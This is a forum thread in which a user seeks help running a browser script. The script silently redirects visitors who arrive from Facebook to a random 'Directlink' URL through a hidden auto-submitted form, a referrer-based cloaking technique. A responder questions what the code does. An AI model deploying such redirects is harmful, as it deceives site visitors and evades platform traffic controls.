@tet-vivi Thank you.
This worked for me great help ❤
@fanspro said in Help me with modul Node.JS, Please:
@Fox Can this fix the incorrect script? Okay, I'll try, thank you very much. and Where is this command?
When you write a message on the forum, there is a panel just above that has this button.

@Fox ```
<script>
(function() {
// Daftar URL tujuan
const urls = [
'Diirectlink',
'Directlink',
'Directlink',
'Directlink',
'Directlink'
];
// Membaca referer
const referrer = document.referrer;
console.log("Referer:", referrer); // Untuk debug
// Fungsi untuk memeriksa apakah referer berasal dari Facebook
function isFromFacebook(ref) {
if (!ref) return false;
const facebookDomains = [
'facebook.com',
'www.facebook.com',
'l.facebook.com',
'i.facebook.com',
'I.facebook.com',
'https://facebook.com',
'https://www.facebook.com',
'https://l.facebook.com',
'https://i.facebook.com',
'https://I.facebook.com',
'https://m.facebook.com',
'm.facebook.com'
];
return facebookDomains.some(domain => ref.includes(domain));
}
// Jika referer berasal dari Facebook, lakukan redirect
if (isFromFacebook(referrer)) {
// Memilih URL secara acak dari daftar
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
console.log("Redirecting to:", randomUrl); // Untuk debug
// Membuat form tersembunyi dengan referer dikirimkan
const form = document.createElement('form');
form.method = 'GET';
form.action = randomUrl;
form.style.display = 'none';
// Tidak menetapkan 'referrerpolicy', sehingga referer dikirimkan secara default
// Menambahkan form ke dalam body dokumen
document.body.appendChild(form);
// Men-submit form untuk melakukan redirect
form.submit();
} else {
console.log("Pengguna tidak berasal dari Facebook. Tidak melakukan redirect.");
// Anda dapat menambahkan tindakan lain di sini jika diperlukan
}
})();
</script>
@fanspro said in Help me with modul Node.JS, Please:
@Fox Ok I got it, but with this can you help me with this script, so I can open the url
This code is not intended for node js.
@fanspro said in Help me with modul Node.JS, Please:
@Fox Then this code can be used with what model? so that I can open the url/website with this code? can you help me, thank you
This is a javascript code for the browser, so it must be executed in the "Javascript" action in the browser context. And without the "script" tag
@fanspro said in Help me with modul Node.JS, Please:
@Fox I am so stupid, I have tried it but it doesn't work to open the url using this javascript, can you fix this XML
DireckLink.xml
Do you know what this js code does?